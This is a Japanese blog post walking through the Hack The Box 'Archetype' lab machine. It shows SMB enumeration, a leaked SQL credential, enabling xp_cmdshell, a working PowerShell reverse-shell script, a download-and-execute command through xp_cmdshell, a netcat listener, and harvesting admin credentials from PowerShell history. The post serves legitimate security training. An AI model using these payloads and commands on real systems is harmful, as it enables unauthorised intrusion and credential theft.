Hack The Box Starting Point の一つ目、Archetype 攻略のメモ

Hack The Boxを始めるにあたって、まず初めに着手するStarting Pointの1つ目Archetype。
pdfにやり方が書いてあるものの、なぜか進めなかったりしたので、自分なりのメモを書いておきます。
基本的にはpdfの記載に沿って書いていきます。

参考にさせてただいたサイト
https://qiita.com/YuasaJunki/items/400e50eadb00d1b970b0
https://rootsecdev.medium.com/installing-impacket-on-kali-linux-2020-1d9ad69d10bb

前提、環境など

Windows10、VurtualBox 6.1
ゲストOS:Kali Linux 2021.3

前回の記事で書いたVPN接続は済ませた状態です。

1. NMAPスキャン

ターゲットマシンのIPアドレスは 10.10.10.27 ここに対してスキャンをかけます。
NMAPスキャンでは、空いているポート、使用しているシステムが判明します。
pdfに記載されている -p$ports を含めると、なぜか実行されなかったので、なしで実行してみました。どういったオプションなのかはよくわかっていません。
必要な情報は取得できているようなので、このまま進めます。

┌──(yoshi㉿kali)-[~]
└─$ nmap -sV -sC 10.10.10.27
Starting Nmap 7.91 ( https://nmap.org ) at 2021-09-18 10:32 JST
Nmap scan report for 10.10.10.27
Host is up (0.16s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2021-09-18T01:38:10
|_Not valid after:  2051-09-18T01:38:10
|_ssl-date: 2021-09-18T01:58:13+00:00; +25m03s from scanner time.
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 1h49m03s, deviation: 3h07m50s, median: 25m02s
| ms-sql-info: 
|   10.10.10.27:1433: 
|     Version: 
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery: 
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-09-17T18:58:02-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-09-18T01:58:04
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.80 seconds

この結果から有益な情報は、
空いているポート:135、139、445、1433で、445番ではSMB、1433はsqlが使えそうということを読み取り、ここをきっかけに着手していくものになります。
SMBはServer Message Blockの略で、LAN上のファイルやフォルダの共有などを行えるようです。

SMBでの接続

まずはsmbで接続してフォルダ構成を確認します。
-N はパスワードを求めないオプション
-L はサーバー上で利用可能な サービスを一覧するオプション
IPアドレスの前後に \(バックスラッシュ)を書いていますが、スラッシュ1つをバックスラッシュ2つに置き換える必要があるようです。//IP address/ → \\\\IP address\\

┌──(yoshi㉿kali)-[~]
└─$ smbclient -N -L \\\\10.10.10.27\\
Enter WORKGROUP\yoshi's password: 

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk      
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available

pdfには、backupsを見てみましょうということが書かれていますが、他のものもにもアクセスを試みてみました。
しかし、backups以外はアクセスできませんでした。
backupsフォルダにアクセスする際には、-L オプションはつけません。

smb: \> と表示されるので dir を入力すると、prod.dtsConfig というファイルが見つかりました。
続いて、ファイルを取得するために get コマンドで対象のファイルを取得します。

┌──(yoshi㉿kali)-[~]
└─$ smbclient -N \\\\10.10.10.27\\backups                                                                    1 ⨯
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 21:20:57 2020
  ..                                  D        0  Mon Jan 20 21:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 21:23:02 2020

                10328063 blocks of size 4096. 8260647 blocks available
smb: \> get prod.dtsConfig 
getting file prod.dtsConfig of size 609 as prod.dtsConfig (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec)

ここまでで、Kali Linuxのyoshiフォルダに prod.dtsConfig ファイルが取得できました。
ファイルの中身を確認すると、次のようになっています。

<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

6行目に Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc という記載が見つかります。
IDにsqlという記載があることからsql接続の際のユーザであることが推測されます。

SQLでの接続

Impacket のインストール

mssqlclient.py で接続するために Impacket のインストールを行います。インストール済みの場合は飛ばしてOKです。

次のコマンドを順に実行するとインストールできるはずです。
3番目にimpacketのフォルダに移動しているので、インストール後に戻るなり注意が必要です。

sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
sudo pip3 install -r /opt/impacket/requirements.txt
cd /opt/impacket/
sudo python3 ./setup.py install

mssqlclientでの接続

pdfの記載通りではうまくいかず、ARCHETYPE\ の部分を省きました。
SQL > が表示されたら、最高権限である sysadmin の権限を持っているか確認します。
結果、「1」が表示されるのでsystemadmin権限を持っていることがわかります。
次に実行する xp_cmdshell が実行できる権限を持っています。

┌──(yoshi㉿kali)-[~]
└─$ mssqlclient.py sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.24.dev1+20210917.161743.0297480b - Copyright 2021 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232) 
[!] Press help for extra shell commands
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')
              

-----------   

          1   

sp_configure; で設定値の確認をします。

SQL> sp_configure;
name                                      minimum       maximum   config_value     run_value   
-----------------------------------   -----------   -----------   ------------   -----------   
~~省略~~
show advanced options                           0             1              1             1   
xp_cmdshell                                     0             1              1             1 

必要なのは、show advanced options が 1 になっていることと、xp_cmdshell が 1 になっていること。値を変更する必要がある場合は、次のコマンドで設定を変更します。

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
EXEC sp_configure 'xp_cmdshell', 1;
reconfigure;

再度 sp_configure; コマンドで設定が変わっていることを確認します。
設定の変更が済んだら whoami コマンドでアカウントの権限を確認します。

SQL> xp_cmdshell "whoami"
output                                                                             

--------------------------------------------------------------------------------   

archetype\sql_svc                                                                  

NULL 

NULL となっているので、管理者権限がないことを示しています。
ここまでの mssqlclientでの接続では、後に使用する xp_cmdshell を実行可能な状態にすることがポイントとなります。

管理者権限の取得

次に、管理者権限を持ったshellを取得してみます。
ここから一気に難易度が高くなる印象です。

スクリプトの作成

pdfに記載のあるスクリプトファイルを作成します。IPアドレスを自分の環境に合わせて編集する以外はコピペです。

コピペで注意する点は、pdfをドラッグした際に選択されない部分ができていて、半角スペースがコピーされずにペーストしたときに崩れるので注意が必要です。
特に注意が必要なのは赤枠で囲った部分で、文字列がつながってしまいエラーの原因になります。

下に半角スペースを補正したものを貼っておきます。

$client = New-Object System.Net.Sockets.TCPClient("10.10.XX.XXX",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

WEBサーバ立ち上げ

この手順以降、ターミナルをたくさん立ち上げることになります。既にVPNのタブ、作業用のタブがある状態です。
新たにターミナルの新規タブで次のコマンドを入力してWEBサーバを立ち上げます。

python3 -m http.server 80

443ポートのnetcat listener立ち上げ

次に、 netcat listener を立ち上げます。こちらも新規タブで行います。

nc -lvnp 443

そしてターゲットマシンから、先ほど立ち上げたサーバへのアクセスを許可するためにufw(Uncomplicated FireWall)を使用してファイアウォールの設定を行います。これも新規タブで行います。

sudo ufw allow from 10.10.10.27 proto tcp to any port 80,443

管理者権限のシェルを取得

ここまで準備して、ようやく管理者権限の取得に移ります。

またしても半角スペースの罠にかかりました。太字にした箇所がつながってしまっています。
(IPアドレスの部分は編集済み)

SQL> xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString(\"http://10.10.XX.XXX/Archetype/shell.ps1\");"
output                                                                             

--------------------------------------------------------------------------------   

New-ObjectNet.WebClient : The term 'New-ObjectNet.WebClient' is not recognized as the name of a cmdlet, function,    

script file, or operable program. Check the spelling of the name, or if a path was included, verify that the path is    

correct and try again.                                                             

At line:1 char:6                                                                   

+ IEX (New-ObjectNet.WebClient).DownloadString("http://10.10.XX.XXX/Arc ...        

+      ~~~~~~~~~~~~~~~~~~~~~~~                                                     

    + CategoryInfo          : ObjectNotFound: (New-ObjectNet.WebClient:String) [], CommandNotFoundException   

    + FullyQualifiedErrorId : CommandNotFoundException                             

                                                                                   

NULL

ドラッグすると改行に合わさって分かりにくいですが、スペースが選択されていません。

正しくはこちら。
shell.ps1 の場所は、Archetypeフォルダの下に配置しているのでpdfの記載とは変えています。

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.XX.XXX/Archetype/shell.ps1\");"

うまくいくと、nc -lvnp 443のコマンドを実行したタブに反応が出ています。
10.10.10.27 から自分のIPアドレスへのアクセスがあったという内容ですね。

このタブでEnterを押すと# が出てくるので、dirコマンドを入力するとフォルダ構成が出力されます。

大量に出てくるので上の方の履歴が切れていて表示されない場合は、ターミナルのファイル>設定 から履歴を制限しない設定にすると

ここの後は、cdコマンドを使って、Usersフォルダからsql_svcのデスクトップに移って、user.txtが取得できます。
ファイルの中身を表示するのはtypeコマンドで行います。
残念ながらAdministratorのフォルダの中は表示できませんでした。

type user.txt

一つ目の目的、user.txt のフラグを獲得できました。
値をコピーして、Hack The Box のページから登録します。user ownが獲得状態になるはずです。

次の目標は、systemのフラグです。

administrator権限を捜索

pdfファイルには、頻繁にアクセスされているファイルとして、パスとファイル名が記載されていますが、「頻繁にアクセスされている」ということをどうやって確認すればよいのかわかりませんでした。
dirを実行するとマシンが頻繁にリセットされることもあり、全然新しい日時にはなっていません。もしかしたら便利なコマンドがあるのかもしれませんが、アクセス頻度を表示するようなコマンドは見つけられませんでした。

ConsoleHost_history.txt というファイル名で検索すると、powershellでの入力履歴はデフォルトでこのファイルに記録されるらしいです。

とりあえずこちらのファイルにアクセスして内容を取得します。

type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

administratorのIDとパスワードが入手できました。
このIDとパスワードを利用して psexec.py を使用してシステムにアクセスします。新しいタブを使用しました。

whoami コマンドでシステムの権限を持っていることが確認できます。

最後に、C:\Users\Administrator\Desktopに移動してroot.txtが取得できます。

archetypeについてはここまでです。
続いて2番目のOopsieに取り組むので、内容がまとまったら記事をアップします。

Originally posted 2021-09-22 15:30:54.

最後に
素敵なブログがたくさん集まる「にほんブログ村」。お気に入りのブログが見つかるかも…

ブログランキング・にほんブログ村へにほんブログ村

コメントを残す

メールアドレスが公開されることはありません。必須項目には印がついています *

CAPTCHA